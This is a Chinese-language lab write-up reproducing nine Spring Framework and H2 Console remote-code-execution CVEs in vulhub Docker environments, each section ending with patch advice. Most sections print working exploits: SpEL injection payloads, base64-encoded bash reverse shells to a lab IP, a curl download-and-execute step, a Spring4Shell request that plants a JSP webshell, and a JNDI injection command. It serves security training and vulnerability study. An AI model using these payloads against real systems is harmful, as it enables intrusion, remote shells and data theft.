vulhub-spring漏洞复现


vulhub-spring漏洞复现

原文地址:https://silentx.gitee.io/2022/09/11/spring/

一.Spring Security OAuth2 远程命令执行漏洞

1.概述

漏洞成因:Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

参考链接:https://blog.knownsec.com/2016/10/spring-security-oauth-rce/


2.环境搭建

2.1.使用vulhub的docker环境一键部署

systemctl start docker   //启动docker
git clone https://github.com/vulhub/vulhub.git  //拉取vulhub靶场代码
cd /vulhub/spring/CVE-2016-4977   //进入CVE-2016-4977目录
docker-compose up -d   //启动docker环境
docker-compose ps  //查看服务端口

3.复现

3.1.测试漏洞是否存在

使用admin:admin登录,访问以下链接成功执行spel表达式

http://192.168.1.242:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test

vulhub-spring漏洞复现_第1张图片

3.2.漏洞利用

Java反弹shell,将命令进行base64编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTUyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

vulhub-spring漏洞复现_第2张图片

使用py文件生成spel表达式

#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 

poc += ')}'
print(poc)

vulhub-spring漏洞复现_第3张图片

反弹shell成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vCtG5kzh-1663156910598)(https://silentx.gitee.io/img/29.4.png)]

vulhub-spring漏洞复现_第4张图片


4.防护

1.使用 1.0.x 版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel视图。
2.使用 2.0.x 版本的用户升级到 2.0.10 以及更高的版本


二.Spring WebFlow 远程代码执行漏洞

1.概述

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架,可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

参考链接:https://paper.seebug.org/322/


2.环境搭建

2.1.使用vulhub的docker环境一键部署

vulhub-master/spring/CVE-2017-4971/


3.漏洞复现

首先来到http://192.168.1.242:8080/login,使用左边账户密码登录

vulhub-spring漏洞复现_第5张图片

在Search String中输入1,查找编号为1的酒店,然后点击预定酒店,填写信息后,来到确定订单的界面。使用burp抓包,点击confirm。

vulhub-spring漏洞复现_第6张图片

添加url编码后反弹shell的poc

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.1.152/6666 0>&1")).start()=aaa
_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.1.152/6666 0>%261")).start()=aaa  #编码后的poc

vulhub-spring漏洞复现_第7张图片

反弹shell成功

_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.1.152/6666 0>%261")).start()=aaa  #编码后的poc

vulhub-spring漏洞复现_第8张图片


4.防护

升级到2.4.6


三.Spring Data Rest 远程命令执行漏洞

1.概述

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

参考链接:[http://xxlegend.com/2017/09/29/Spring%20Data%20Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析/](http://xxlegend.com/2017/09/29/Spring Data Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析/)


2.环境搭建

2.1.使用vulhub的docker环境一键部署

vulhub-master/spring/CVE-2017-8046/


3.漏洞复现

访问http://192.168.1.242:8080/

vulhub-spring漏洞复现_第9张图片

使用py脚本将反弹shell的payload转为ASCII码

payload = b'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTUyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}'
bcode = ','.join(str(i) for i in list(payload))
print(bcode)

发包

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{ASCII encoded command}))/lastname", "value": "vulhub" }]
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,117,77,84,85,121,76,122,89,50,78,106,89,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "vulhub" }]

vulhub-spring漏洞复现_第10张图片

反弹shell成功

vulhub-spring漏洞复现_第11张图片


4.防护

升级到最新版本可防护漏洞


四.Spring Messaging 远程命令执行漏洞

1.概述

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。

参考链接:https://cert.360.cn/warning/detail?id=3efa573a1116c8e6eed3b47f78723f12


2.环境搭建

2.1.使用vulhub的docker环境一键部署

vulhub-master/spring/CVE-2018-1270/


3.漏洞复现

访问http://192.168.1.242:8080/,在浏览器数据包中找到app.js,更改connect()函数

vulhub-spring漏洞复现_第12张图片

function connect() {
+	var header  = {"selector":"T(java.lang.Runtime).getRuntime().exec('touch /1.txt')"};
    var socket = new SockJS('/gs-guide-websocket');
    stompClient = Stomp.over(socket);
    stompClient.connect({}, function (frame) {
        setConnected(true);
        console.log('Connected: ' + frame);
        stompClient.subscribe('/topic/greetings', function (greeting) {
            showGreeting(JSON.parse(greeting.body).content);
+       },header);
    });
}

将更改后的app.js中的代码复制出来,在浏览器concole中调试运行。然后在web页面点击连接后,在name处随便输入一些内容,最后发送。

vulhub-spring漏洞复现_第13张图片

vulhub-spring漏洞复现_第14张图片

成功创建1.txt

vulhub-spring漏洞复现_第15张图片

修改payload反弹shell

var header  = {"selector":"T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTUyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}')"};

同样修改app.js,浏览器控制台执行

vulhub-spring漏洞复现_第16张图片

反弹shell成功

vulhub-spring漏洞复现_第17张图片


4.防护

升级到最新版本可防护漏洞


五.Spring Data Commons 远程命令执行漏洞

1.概述

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

参考链接:https://baijiahao.baidu.com/s?id=1727365936415129211&wfr=spider&for=pc


2.环境搭建

2.1.使用vulhub的docker环境一键部署

vulhub-master/spring/CVE-2018-1273/


3.漏洞复现

访问http://192.168.1.242:8080/users,提交表单注册抓包。
在username字段后面插入payload

POST: username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("PAYLOAD")]=&password=&repeatedPassword=

在本地启一个python服务

python -m http.server 1234

通过curl使靶机远程下载反弹shell的脚本

bash -i >& /dev/tcp/192.168.1.152/6666 0>&1   # exp.sh
curl -o /tmp/shell.sh http://192.168.1.152:1234/exp.sh

vulhub-spring漏洞复现_第18张图片

这里看到靶机已经发出get请求

vulhub-spring漏洞复现_第19张图片

继续发送payload赋予权限

chmod +x /tmp/shell.sh

最后执行shell文件

/bin/bash /tmp/shell.sh

反弹shell成功

vulhub-spring漏洞复现_第20张图片


4.防护

将pom.xml中的org.springframework.boot设置为1.13.11版本或更新版本。


六.Spring Cloud Gateway Actuator API SpEL表达式注入命令执行

1.概述

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

参考链接:http://cn-sec.com/archives/828187.html


2.环境搭建

2.1.使用vulhub的docker环境一键部署

vulhub-master/spring/CVE-2022-22947/


3.漏洞复现

发送如下数据包即可添加一个包含恶意SpEL表达式的路由

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.1.242:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

vulhub-spring漏洞复现_第21张图片

发送如下数据包刷新路由,这个数据包将触发SpEL表达式的执行

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.1.242:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

vulhub-spring漏洞复现_第22张图片

发送如下数据包即可查看执行结果

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.1.242:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-corsBP9O-1663156910623)(https://silentx.gitee.io/img/29.24.png)]

删除路由

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.1.242:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

vulhub-spring漏洞复现_第23张图片

使用py脚本反弹shell

https://github.com/aodsec/CVE-2022-22947/blob/main/CVE-2022-22947.py

vulhub-spring漏洞复现_第24张图片


4.防护

3.1.x版本用户及时升级到3.1.1+
3.0.x版本用户及时升级到3.0.7+


七.Spring Cloud Function SpEL表达式命令注入

1.概述

Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。

参考链接:https://mp.weixin.qq.com/s/onYJWIESgLaWS64lCgsKdw


2.环境搭建

2.1.使用vulhub的docker环境一键部署

vulhub-master/spring/CVE-2022-22963/


3.漏洞复现

发包反弹shell

POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("exp")
Content-Type: text/plain
Content-Length: 4

test

vulhub-spring漏洞复现_第25张图片

反弹成功

vulhub-spring漏洞复现_第26张图片


4.防护

升级 org.springframework.cloud:spring-cloud-function-context 到 3.2.2 的下一版本


八.Spring框架Data Binding与JDK 9+导致的远程代码执行漏洞

1.概述

Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。

参考链接:https://blog.csdn.net/god_zzZ/article/details/124029497


2.环境搭建

2.1.使用vulhub的docker环境一键部署

vulhub-master/spring/CVE-2022-22965/


3.漏洞复现

http://192.168.1.242:8080/?name=xx&age=18

发包写入shell

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.1.242:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

vulhub-spring漏洞复现_第27张图片

执行命令(执行一次命令,就会向日志里面写一次jsp马的内容)

http://192.168.1.242:8080/tomcatwar.jsp?pwd=j&cmd=id

vulhub-spring漏洞复现_第28张图片

访问以下url停止写入日志

http://192.168.1.242:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=

4.防护

临时:(1)在应用中全局搜索@InitBinder注解,看看方法体内是否调用dataBinder.setDisallowedFields方法,如果发现此代码片段的引入,则在原来的黑名单中,添加{“class.","Class.”,“.class.”,“.Class.”}。
(2)在应用系统的项目包下新建以下全局类,并保证这个类被Spring 加载到(推荐在Controller所在的包中添加)。完成类添加后,需对项目进行重新编译打包和功能验证测试,并重新发布项目。
永久:更新版本。


九.H2 Database Console 未授权访问

1.概述

H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

参考链接:https://mp.weixin.qq.com/s?__biz=MzI2NTM1MjQ3OA==&mid=2247483658&idx=1&sn=584710da0fbe56c1246755147bcec48e


2.环境搭建

2.1.使用vulhub的docker环境一键部署

vulhub-master/h2database/h2-console-unacc


3.漏洞复现

下载JNDI工具

https://github.com/welk1n/JNDI-Injection-Exploit

本地运行进行反弹shell。( Listening on 0.0.0.0:1099;rmi://192.168.1.152:1099/dxxf0r)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTUyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.1.152

vulhub-spring漏洞复现_第29张图片

在http://192.168.1.242:8080/h2-console/提交表单后,点击连接即可反弹shell

Driver Class: javax.naming.InitialContext
JDBC URL: rmi://192.168.1.152:1099/dxxf0r

vulhub-spring漏洞复现_第30张图片

vulhub-spring漏洞复现_第31张图片

vulhub-spring漏洞复现_第32张图片


4.防护

关闭H2 Database Console或者不允许外部用户访问Web管理页面

你可能感兴趣的:(靶场通关,spring,java,网络安全)